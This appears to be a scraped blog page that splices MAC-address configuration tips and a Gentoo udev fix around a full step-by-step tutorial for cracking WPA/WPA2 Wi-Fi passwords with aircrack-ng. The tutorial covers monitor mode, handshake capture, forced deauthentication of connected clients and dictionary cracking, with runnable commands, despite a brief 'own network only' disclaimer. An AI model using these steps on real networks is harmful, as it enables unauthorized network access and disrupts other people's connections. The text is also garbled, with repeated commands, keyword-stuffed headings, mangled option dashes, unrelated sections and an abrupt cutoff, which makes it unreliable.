If you click the networking icon in the Unity 'taskbar' on the top right, then go to Edit Connections, you should be able to switch to the Wireless tab and open an Edit dialog for your connection. In this edit dialog, the first page has a field to edit your MAC address. You can type right into the text field. The Network Interface MAC address is changing after each reboot. How to assign a permanent MAC address to the bonding interface in RHEL? Force the bond interface to take a MAC address of the slave. Resolution Assigning permanent MAC address for an Ethernet interface. Please keep in mind that ethX style naming will not work on Rhel 7.
- Failed To Retrieve A Mac Address For Interface 'mon0'
- Failed To Retrieve A Mac Address For Interface 'mon0' Reaver
Forget your Key for your internet? No problem. In this blog I will show you how to hack it. Remember this is to be used on your own network and for educational purposes only.
Firstly, know right now. That wifi card you have built into your computer is not going to work. Neither is the one on your phone so you must have an upgraded one with a specific chipset. You’ll need a wireless adapter that’s capable of packet injection.
![Failed Failed](/uploads/1/1/9/0/119014136/904271249.jpg)
I recommend one of these:
These external wifis can be attached to laptop or phone using dongles and will have all the hardware you need to do what you go to do.
Next you will need to being running Kali Linux. If you need help setting that up I recommend checking out my blog on how to make an Excalibur USB Stick that has Kali on it.
Here are the basic steps we will be going through:
![Reaver Reaver](/uploads/1/1/9/0/119014136/812137352.jpg)
- 0. Install the latest aircrack-ng
- 1. Start the wireless interface in monitor mode using airmon-ng
- 2. Start airodump-ng on AP channel with filter for BSSID to collect authentication handshake
- 3. [Optional] Use aireplay-ng to deauthenticate the wireless client
- 4. Run aircrack-ng to crack the WPA/WPA2-PSK using the authentication handshake
0. Install the Latest Aircrack-ng
Install the required dependencies :
$ sudo apt-get install build-essential libssl-dev libnl-3-dev pkg-config libnl-genl-3-dev
Download and install the latest aircrack-ng :
$ wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc1.tar.gz -O – | tar -xz
$ cd aircrack-ng-1.2-rc1
$ sudo make
$ sudo make install
$ cd aircrack-ng-1.2-rc1
$ sudo make
$ sudo make install
Failed To Retrieve A Mac Address For Interface 'mon0'
Be sure to check that the version of aircrack-ng is up-to-date because you may see problems with older versions.
1. Start the Wireless Interface in Monitor Mode
Find and stop all processes that could cause trouble :
$ sudo airmon-ng check kill
Start the wireless interface in monitor mode :
$ sudo airmon-ng start wlan0
Notice that airmon-ngenabled monitor-mode on mon0 :
So, the correct interface name to use in later parts of the tutorial is mon0.
Failed To Retrieve A Mac Address For Interface 'mon0' Reaver
2. Start Airodump-ng to Collect Authentication Handshake
Now, when our wireless adapter is in monitor mode, we have the capability to see all the wireless traffic that passes by in the air.
It can be done with airodump-ng command :
$ sudo airodump-ng mon0
All of the visible APs are listed in the upper part of the screen and the clients are listed in the lower part of the screen :
Now start airodump-ng on AP channel with filter for BSSID to collect authentication handshake for the access point we are interested in :
$ sudo airodump-ng -c 1 –bssid 00:11:22:33:44:55 -w WPAcrack mon0 –ignore-negative-one
Option | Description |
---|---|
-c | The channel for the wireless network |
–bssid | The MAC address of the access point |
-w | The file name prefix for the file which will contain authentication handshake |
mon0 | The wireless interface |
–ignore-negative-one | Removes ‘fixed channel : -1’ message |
Now wait until airodump-ng captures a handshake… or go to the step #3 if you want to force this process.
After some time you’ll notice the WPA handshake: 00:11:22:33:44:55 in the top right-hand corner of the screen.
This means airodump-ng has successfully captured the handshake.
3. [Optional] Use Aireplay-ng to Deauthenticate the Wireless Client
This step is optional. If you can’t wait till airodump-ng captures a handshake, you can send a message to the wireless client saying that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP and we’ll capture the authentication handshake.
Send DeAuth to broadcast :
$ sudo aireplay-ng –deauth 100 -a 00:11:22:33:44:55 mon0 –ignore-negative-one
$ sudo aireplay-ng –deauth 100 -a 00:11:22:33:44:55 mon0 –ignore-negative-one
Send directed DeAuth (attack is more effective when it is targeted) :
$ sudo aireplay-ng –deauth 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0 –ignore-negative-one
$ sudo aireplay-ng –deauth 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0 –ignore-negative-one
Option | Description |
---|---|
–deauth 100 | The number of de-authenticate frames you want to send (0 for unlimited) |
-a | The MAC address of the access point |
-c | The MAC address of the client |
mon0 | The wireless interface |
–ignore-negative-one | Removes ‘fixed channel : -1’ message |
4. Run Aircrack-ng to Crack WPA/WPA2-PSK
To crack WPA/WPA2-PSK, you need a password dictionary as input. You can download some dictionaries from here.
Crack the WPA/WPA2-PSK with the following command :
$ aircrack-ng -w wordlist.dic -b 00:11:22:33:44:55 WPAcrack.cap
Option | Description |
---|---|
-w | The name of the dictionary file |
-b | The MAC address of the access point |
WPAcrack.cap | The name of the file that contains the authentication handshake |
If you need some video instruction here is a hacker from SecureNinjaTV explaining how to do it.
The original problem description and solution can be found in this forum thread.
Problem:Every time the command “airmon-ng start wifi0 x” is run, a new interface is created as it should, but there where two problems. The first is that for each time airmon-ng is run on wifi0 the interface number on ath increases: the first time is ath1, the second ath2, the third ath3, and and so on. And this continues so in a short period of time it is up to ath56 and continuing to climb. Unloading the madwifi-ng driver, or rebooting the system has no effect, and the number of the interface created by airmon-ng continues to increase.
The second problem is that if you run airmon-ng on wifi0 the athXX created does not show as being shown as in Monitor mode, even though it is. This can be confirmed via iwconfig.
All these problem related to how udev assigns interface names. The answer is in this ticket: http://madwifi-project.org/ticket/972#comment:12 Thanks to lucida. The source of the problem comes from the udev persistent net rules generator.
Each distro is different… So here is a solution specifically for Gentoo. You should be able to adapt this solution to your particular distribution.
Gentoo 2.6.20-r4Udev 104-r12Madwifi 0.9.3-r2Aircrack-ng 0.7-r2
Solution:
Change the file /etc/udev/rules.d/75-persistent-net-generator.rules
From: KERNEL“eth*|ath*|wlan*|ra*|sta*……..To: KERNEL“eth*|Ath*|wlan*|ra*|sta*…….
In other words, you just capitalize the a. ath* becomes Ath*. Save the file.
Now delete the file /etc/udev/rules.d/70-persistent-net.rules.
Remove the driver and insert back.
Removing ath also works:KERNEL“eth*|wlan*|ra*|sta*….
This is also on Gentoo, both 2.6.19-gentoo-r5 and 2.6.20-gentoo-r6
For Ubuntu, see this Forum posting. The modified version of /etc/udev/rules.d/75-persistent-net-generator.rules is: